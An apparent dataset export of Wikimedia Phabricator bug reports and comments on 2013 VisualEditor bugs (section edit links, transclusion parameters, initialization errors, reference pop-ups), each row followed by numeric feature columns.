233861,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 51188 has been marked as a duplicate of this bug. ***,,,1385382810,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51188 has been marked as a duplicate of this bug. ***
233857,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"When cite web is used, webpage title, and access date should be filled
automatically for 1 click web citations.",,,1384848197,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.086956521739131,0.9130434782608695,"When cite web is used, webpage title, and access date should be filled
automatically for 1 click web citations."
233852,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 56708 has been marked as a duplicate of this bug. ***,,,1384845361,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56708 has been marked as a duplicate of this bug. ***
233845,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 56772 has been marked as a duplicate of this bug. ***,,,1384845303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56772 has been marked as a duplicate of this bug. ***
52731,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","screenshot

As of today, the section edit links seem to have reverted to the old style ([edit]). They don't expand and they open the source editor, even though VE is enabled (the 'Edit' and 'Edit source' tabs are there at the top. See screenshot.

Observed on en.wp (by me and User:KTC) and fr.wp (by me). KTC used firefox and chrome, and I used firefox 21.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11031}",Unbreak Now!,100.0,1372931040,1373053892.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-b5zzf7lh657agk5cdqkw,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.5,0.5,2.0,0.5,0.0,0.5,0.0,0.5,2.5,0.0,0.0,0.0,2.5,0.0,1.5,5.5,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,10.5,0.5,4.5,2.5,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,3.5,5.5,6.5,0.0,2.0,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,3.2677966101694915,0.621045197740113,"screenshot

As of today, the section edit links seem to have reverted to the old style ([edit]). They don't expand and they open the source editor, even though VE is enabled (the 'Edit' and 'Edit source' tabs are there at the top. See screenshot.

Observed on en.wp (by me and User:KTC) and fr.wp (by me). KTC used firefox and chrome, and I used firefox 21.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F11031}"
231719,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)",Merged and will hopefully go out soon.,,,1373053892,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Merged and will hopefully go out soon.
231711,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Change 72069 merged by jenkins-bot:
mw.ViewPageTarget.init: Move edit section to top init

https://gerrit.wikimedia.org/r/72069",,,1373049617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,0.9473684210526315,"Change 72069 merged by jenkins-bot:
mw.ViewPageTarget.init: Move edit section to top init

GERRIT_URL"
231705,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Please consider fixing bug 50540 and maybe bug 50405, too.

They are directly dependent of this change. Fixing them now once and for all will prevent further hassle with changing editsection links back-and-forth.

Actually fixing bug 50540 would probably simplify code a lot and could therefore resolve bug 50405 as a side effect.",,,1373016135,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,6.0,0.0,0.0,0.0,4.375,0.765625,"Please consider fixing bug 50540 and maybe bug 50405, too.

They are directly dependent of this change. Fixing them now once and for all will prevent further hassle with changing editsection links back-and-forth.

Actually fixing bug 50540 would probably simplify code a lot and could therefore resolve bug 50405 as a side effect."
231701,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Change 72069 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget.init: Move edit section to top init.

https://gerrit.wikimedia.org/r/72069",,,1373004125,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.739130434782608,0.9565217391304348,"Change 72069 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget.init: Move edit section to top init.

GERRIT_URL"
231697,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Bizarrely, the mouseover ""edit source"" links appear briefly when mousing over ""edit"" links while VE is loading a page into edit mode.",,,1372969315,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,14.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,0.7857142857142857,"Bizarrely, the mouseover ""edit source"" links appear briefly when mousing over ""edit"" links while VE is loading a page into edit mode."
231692,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Bug 48429#c35 - basically, visual section editing is a seriously hard problem, and isn't on the agenda any time soon.",,,1372952624,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,"Bug 48429#c35 - basically, visual section editing is a seriously hard problem, and isn't on the agenda any time soon."
231686,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Well, if that's the case (I haven't heard about it, but I believe you) presumably the link should be renamed to ""edit source"" to be consistent with the naming of the tabs. Otherwise, I expect quite a bit of confusion.",,,1372952431,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,4.0,10.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,10.0,14.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4901960784313726,0.7647058823529411,"Well, if that's the case (I haven't heard about it, but I believe you) presumably the link should be renamed to ""edit source"" to be consistent with the naming of the tabs. Otherwise, I expect quite a bit of confusion."
231679,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","I'd call this NOTABUG, since James has declared that visual section-editing won't be funded for the foreseeable future. So we now don't have an interface that claims functionality there aren't even plans to implement.",,,1372951540,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,5.0,0.0,14.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,9.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.27906976744186,0.9069767441860465,"I'd call this NOTABUG, since James has declared that visual section-editing won't be funded for the foreseeable future. So we now don't have an interface that claims functionality there aren't even plans to implement."
52715,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Screenshot of problem

This causing:

* The label fallback (parameter name + ucfirst) not working.
* It is still available from the ""Add parameter"" dropdown.
* The user can actually add it again, causing a logic error.

I can currently consistently reproduce this on https://en.wikipedia.org/wiki/Taal%2C_Batangas?veaction=edit when editing the ""Population Consensus of Taal"" information box.

See screenshot:
- ""title"" is both in the sidebar and in the selectable cloud
- ""title"" isn't transformed into ""Title"" (the templatedata has no .label for this one)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11920}",Unbreak Now!,100.0,1372910460,1373497407.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-r4klwzo7lxdsgw53zery,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.5,1.0,3.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,4.5,2.0,10.0,0.5,1.0,8.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.5,5.0,2.0,0.0,6.5,0.0,1.5,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,3.7285714285714286,0.6714285714285715,"Screenshot of problem

This causing:

* The label fallback (parameter name + ucfirst) not working.
* It is still available from the ""Add parameter"" dropdown.
* The user can actually add it again, causing a logic error.

I can currently consistently reproduce this on URL when editing the ""Population Consensus of Taal"" information box.

See screenshot:
- ""title"" is both in the sidebar and in the selectable cloud
- ""title"" isn't transformed into ""Title"" (the templatedata has no .label for this one)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11920}"
255765,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used",This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.
255759,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Change 73010 merged by jenkins-bot:
Retain original param names and ignore leading/trailing whitespace

https://gerrit.wikimedia.org/r/73010",,,1373497073,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 73010 merged by jenkins-bot:
Retain original param names and ignore leading/trailing whitespace

GERRIT_URL"
255753,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Change 73010 had a related patch set uploaded by Trevor Parscal:
Retain original param names and ignore leading/trailing whitespace

https://gerrit.wikimedia.org/r/73010",,,1373483215,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,5.04,1.0,"Change 73010 had a related patch set uploaded by Trevor Parscal:
Retain original param names and ignore leading/trailing whitespace

GERRIT_URL"
52708,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"The Edit tab for VisualEditor is sometimes not correctly initialized. Loading about 50 random pages, on one of them I will not have the ""Edit source"" tab, and the ""Edit"" tab will point to the wikitext editor instead of VisualEditor.

Chrome/Ubuntu, logged-in. Console shows the following error when this occurs:

Exception thrown by skins.vector.js: Object [object Object] has no method 'collapsibleTabs'

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1372896120,1373359485.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.5,0.0,4.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,3.0,0.5,11.5,1.0,0.5,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.5,7.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,1.0,4.140392156862745,0.7129411764705882,"The Edit tab for VisualEditor is sometimes not correctly initialized. Loading about 50 random pages, on one of them I will not have the ""Edit source"" tab, and the ""Edit"" tab will point to the wikitext editor instead of VisualEditor.

Chrome/Ubuntu, logged-in. Console shows the following error when this occurs:

Exception thrown by skins.vector.js: Object [object Object] has no method 'collapsibleTabs'

--------------------------
**Version**: unspecified
**Severity**: normal"
255243,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),No longer able to repro this either so closing as fixed; will reopen if I see it reappear.,,,1373359485,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.65,1.0,No longer able to repro this either so closing as fixed; will reopen if I see it reappear.
255237,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"(In reply to comment #5)
> I still saw it a couple days ago. I'll try with a clean (standard prefs) test
> account later today.

Did a spot-test of 100 on Firefox and another 50 in Safari, and also didn't have any issues.",,,1373333744,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,6.0,8.0,0.0,0.0,0.0,3.0,6.0,0.0,8.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0277777777777777,0.9166666666666666,"(In reply to comment #5)
QUOTE
QUOTE

Did a spot-test of 100 on Firefox and another 50 in Safari, and also didn't have any issues."
255230,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),I still saw it a couple days ago. I'll try with a clean (standard prefs) test account later today.,,,1373303590,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.875,I still saw it a couple days ago. I'll try with a clean (standard prefs) test account later today.
255223,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),(Though it didn't recur for me just now on a spot-test of 100 Special:Randoms.),,,1373303527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,18.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,(Though it didn't recur for me just now on a spot-test of 100 Special:Randoms.)
255216,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"(In reply to comment #2)
> The collapsibleTabs thing was bug 50504, and it's supposed to be fixed now.

